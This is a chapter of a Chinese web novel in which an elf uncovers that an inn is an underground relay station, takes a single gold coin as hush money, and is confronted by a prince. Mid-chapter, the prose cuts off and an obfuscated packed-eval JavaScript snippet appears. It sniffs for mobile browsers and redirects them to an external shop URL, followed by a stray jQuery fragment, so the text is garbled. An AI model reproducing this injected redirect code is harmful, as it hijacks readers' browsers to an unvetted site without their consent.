文趣网 > 都市小说 > 这个精灵,我的! > 8. 第八章 封口费
    第八章封口费

    那日之后,张大夫天还全没亮便来诊脉,补药流水似的往房里送。

    连柳娘都忍不住侧目,又一次看见张大夫抱着金贵药材匆匆进院时,她终于没忍住酸道:

    「不知道的还以为床上躺的是你亲孙子。」

    张大夫老脸一红:「胡说什么。」

    容晏来得也勤,理由十分充分,六十万黄金还没回本,自然要天天看着。

    午后,楚时岭难得下床走动,虽然走得慢,但至少不用再整日躺着,连着几日卧床,睡的是前所未有的饱了,但筋骨反而又酸又痛,他现在总想舒展舒展,透透气。

    容宴进门时。

    便看见他正沿着着窗框走着:

    「恢复得挺快。」

    楚时岭:「张大夫医术好。」

    楚时岭试着走出房间,在客栈里闲晃。那双漂亮的眼睛像一具精密的罗盘,静静地拓印着这间客栈的每一处细节。

    看着看着,他忽然发现了一件奇怪的事。

    靠近角落的第三张茶桌旁,一名灰衣老人已经坐了许久。桌上孤零零地只搁着一壶茶,茶早就凉了,老人却始终没有离开。

    他不像在等酒菜,只是安安静静地坐着,视线偶尔望向门口。

    楚时岭起初并未在意,直到后来,一名挑着货担的中年男人走进客栈。

    那人衣着普通,进门后却径直走到那张茶桌旁坐下。大堂里人声嘈杂,两人落座后身子同时前倾,楚时岭只隐约捕捉到那货郎压得极低的微弱气音:「……过界了。」

    老人没有回答,只是干脆地起身离开,连茶钱都没结——彷佛他出现在这里,仅仅只是为了听这三个字。

    奇怪。

    楚时岭好奇心突然被挑起。

    过了不久,那挑担的男人也压低帽檐走了,那张木桌重新空了下来。可不到一刻钟,又有人补了上去。

    这次是一个抱着繈褓的妇人,低头哄着孩子。然而她坐下没多久,一名短打装束的年轻人便佯装歇脚坐了过去。年轻人刚一落座,便一只手搭在桌沿,手指无意识地敲了两下木桌,嘴唇微动:「点灯吗?」

    妇人连头都没抬,一边拍着怀里的孩子,一边从齿缝里挤出两个字:「起风。」

    话音刚落,妇人便抱着孩子悄然离开。整个过程不到一盏茶的工夫,像是在交接什么,却又什么痕迹都没留下。

    楚时岭不解。

    他索性坐到某张桌上,不动声色地盯紧了往来的人流。然后他发现,整个下午,那张桌子始终有人,但奇怪的是,没有任何人真的在那里吃饭。

    有人喝半碗茶就走,有人坐一会儿就走,有人甚至连椅子都没坐热。

    他们像一群互不相识的陌路人,举手投足间,却又像在遵守某种看不见的森严规矩。

    正当他在脑思索时,一阵细微的脚步声突然在他身后传来。

    一个行色匆匆、斗篷拉得极低的男人坐到了他对面。那人浑身紧绷,草屑与血腥味混在衣服里。

    男人刻意压低声音,吐出一句牛头不对马嘴的字句:「今天北边的风大。」

    楚时岭根本听不懂这句切口,但他那属于狐狸的狡猾本能让他在半秒内做出了最完美的反应。他没有惊慌否认,反而整个人往后一靠,挑起眼睫,带着一种被打扰的不耐,慢条斯理地睨了对方一眼。

    「风大就多穿点,跑来跟我说有什么用?」

    男人再看了看他。

    在地下黑网里,越是脾气古怪、身无长物却气定神闲的,越是不能惹的高阶接头人。楚时岭那副傲慢的样子,彻底让对方对方深信自己的猜测。

    「规矩我懂,这是下一站的加急费,求大人请老大指条明路!」

    男人从怀里摸出一枚刻着古怪骷髅图腾的漆黑木牌,不由分说地塞进楚时岭手里,随后像是怕被他拒绝似地,起步便往后院的暗巷隐去。

    楚时岭低头看着手里沈甸甸的木牌,指尖摸过那精密的刻痕。看来,他运气不错,拿到了什么不得了的好东西。

    他起身走向旁门,不怀好意地想看看柳娘见了这木牌什么反应。

    穿过后院时突地传来一阵沉重的马蹄声。

    一队装运粗盐的商贩从侧门进来,马匹累得直喘粗气。

    楚时岭的视线落在领头那个商贩的皮靴上。

    靴缘黏着一层厚重的、泛着油光的黑土。

    王城方圆百里皆是红壤,只有远在关外的北境,才会有这种终年不化冻的黑湿泥。

    有意思。

    少年立即转向暗处隐身观察。

    然而仅仅过了不到一刻钟,后院再次传来动静——是一模一样的马车,甚至连装盐的麻袋补丁都如出一辙,从后门迅速驶离。

    粗盐不算值钱,不值得用这种接力赛的法子运送。除非那麻袋底下藏着的不是盐,而是更贵重的「货物」。

    楚时岭收回目光,嘴角勾起一抹玩味的笑容,

    「原来啊!」

    这地方根本不是普通的客栈。

    柜台后,柳娘正劈里啪啦地拨弄着算盘。她今日穿了一身石榴红的花裙,领口开得极低,风情万种里带着不加修饰的精明。

    一阵细微的木头叩击声打断了算盘的脆响。

    柳娘一抬头,看到楚时岭正斜斜地靠在柜台旁。

    那只狡猾的精灵一只手撑着下巴,另一只手正漫不经心地把玩着一枚漆黑的木牌,木牌在精灵纤长白皙的指尖转得飞快,像一团不祥的黑雾。

    看到那枚木牌,再看到楚时岭那得意满满的眼神,柳娘原本含笑的脸色「唰—」地一声彻底沈了下来。

    她将手指按在算盘上,死死盯着楚时岭,眼深冷得像结了冰:「这东西哪来的?」

    楚时岭没被她的杀气吓退,反而身子微微前倾,拉近了两人之间的距离。他将木牌「啪!」地一声扣在柜台上,压低了声音,慢条斯理地开口:

    「老板娘,别这么大火气,,我只是觉得奇怪,下午进来的那队盐商,不到一刻钟就在后院换马把货送出去了,领头的那位,鞋底沾着的可是北境才有的黑土。」

    楚时岭勾起唇角,那双清澈的眼眸里闪烁着近乎无辜的笑意:「这地方是个地下驿站吧?」

    气氛凝结

    少年若无其事的接着说:

    「既然妳连北境的买卖都敢接,那……加我这一个,妳开个条件?」

    柳娘震惊过后,涌上脊梁骨的是纯粹的恐惧。

    这只精灵是谁?他是二皇子景临亲自带回来安置在她这里的!

    景临是个什么人?

    二皇子把这只精灵放在这,不管是当新宠养着还是当棋子扣着,都代表这只精灵是皇家的私有物,她可不想沾手皇家的东西。

    她同样往前倾身,死死盯着楚时岭那双带笑的眼睛,用只有两人才听得见动声音:

    「小家伙,你确实聪明,但你给我听清楚了。」

    柳娘一字一顿:

    「就算我这地方是地下驿站,就算我连通缉犯都敢送,老娘也绝对不碰皇家的人!你的主人是二殿下,我柳娘开门做生意是为了求财活命,不是为了去送死!」

    她一把夺过柜台上的黑骨牌,冷笑着警告,尖锐的指甲几乎戳到楚时岭的鼻尖:

    「少用那种眼神看我,看在殿下的面子上,热水和食物管够。但要是再让我听到一个关于离开,的字眼,老娘立刻把你腿废了,反正殿下要的只是活人。」

    说完,柳娘猛地转身,踩着重重的步伐走进了内房,将门摔得震天响。

    楚时岭独自站着,他没有因为柳娘的威胁而慌张,反而缓缓直起身。

    柳娘没有否认自己能送人,她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849589|211794||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只是说,不敢送二皇子的人。

    没多久,房门被敲响。不等里面回应,柳娘已经推门进来,她自己给自己倒了杯茶。

    喝了口茶,一改先前的怒气,笑眯眯的问:「除了离开你还想要什么?」

    楚时岭不假思索道:

    「给我一枚金币。」

    柳娘下巴都要掉了,甚至怀疑自己听错,没有她期待的狮子大开口,一枚金币是什么东西?果然是拍卖场牢里待久,没见过世面的年轻人。

    她再次确认:「什么?」

    「封口费。」

    柳娘盯着他看了半天,笑出声来,越笑越大声,笑得眼角皱褶都弯了。

    她原本已经想好各种应对、收买,现在居然这么容易就搞定。

    柳娘忙从袖中摸出一枚金币,深怕他反悔似的,指尖一弹,在空中划出一道弧线。

    楚时岭抬手接住,动作熟练得像做过无数次。

    柳娘看得直乐,又寒暄了几句,才满意地摆着她的红色花裙离去。

    楚时岭独自坐在床沿,低头看着掌心里那枚黄澄澄的小玩意儿。一枚金币不多不少,但对他现在这样的处境来说,攒起来未来总是不无用处。

    想着想着突然渴了,他起身,一手把玩着金币,一手拉开房门下楼找水喝。他缓缓走着,指尖慢条斯理地让那枚硬币在指缝间翻滚。然而,就在他刚走到木梯转角的刹那,一条高大的黑影毫无预警地踏了上来。

    不知何时回来的景临,好整以暇地立在台阶的拐角处。

    「殿下。」

    楚时岭吓了一跳,根本来不及将金币塞进魔法袋,左手本能地把金币死死握在手里,往身后藏了藏。

    景临慢条斯理地踩着木梯走上来,

    视线微微下移,精准地落在了楚时岭试图往身后藏的那只左手上。

    「手里拿着什么?」

    精灵那双潋灩的眼睛死死盯着景临,往前迈了一步,嘴唇贴在景临耳畔,带着挑衅的气音低笑:「殿下既然这么多疑,不如现在就把我杀了,以免我又偷了什么皇室的秘密。」

    景临根本不吃这一套,这只精灵越是满嘴带刺,就越证明他手里的东西有鬼。

    景临冷哼一声,根本不容他退缩,精准,蛮横地一把死死扣住了楚时岭的左手手腕!

    「唔……」楚时岭眉心猛地一蹙,手腕被那如铁钳般的力道捏得一阵发麻。

    景临的手劲极大,握住少年的手腕将他的左手强行扯进两人之间。随后,另一手的手指,挤进了楚时岭紧握的指缝里,一根,一根地,将楚时岭紧绷的手指硬生生往外掰开。

    居然,躺在精灵掌心中央的……是一枚黄澄澄、带着俗气金光的帝国普通金币。

    景临看着那枚金币,又看了看一脸狠绝、彷佛握着什么能毁灭世界武器的楚时岭,眼角有些不可置信地抽搐了一下。

    「……一枚小金币?」

    景临的声音里那股冰冷的杀意瞬间散了个干净,取而代之的是一种近乎荒谬的无语。

    他有些傻眼地看着眼前这只长相绝美、心思狡猾,搞得像要慷慨赴死一样,就为了藏一块金币的精灵。

    突然间,一声充满嘲弄的低笑从景临胸腔里震了出来:「一块金币,也能让你藏成这副绝世宝物的样子,你要是这么缺钱,以后进了容晏的酒楼,要什么好东西没有?」

    说完,景临轻笑一声,看都没再看他一眼,撩起衣摆与他擦肩,留下楚时岭一个人靠在木梯扶手边,大口喘着气。

    他缓缓抬起左手,看着洁白手腕处几道触目惊心的明显指印,狠狠地啐了一口。

    ———

    夜里楚时岭要来了汤婆子热敷手腕的红痕。

    转念一想,冷冷笑了出来。

    他伸出指尖,召唤出那本沾满莹尘的半透明册本,熟练地再添上一笔。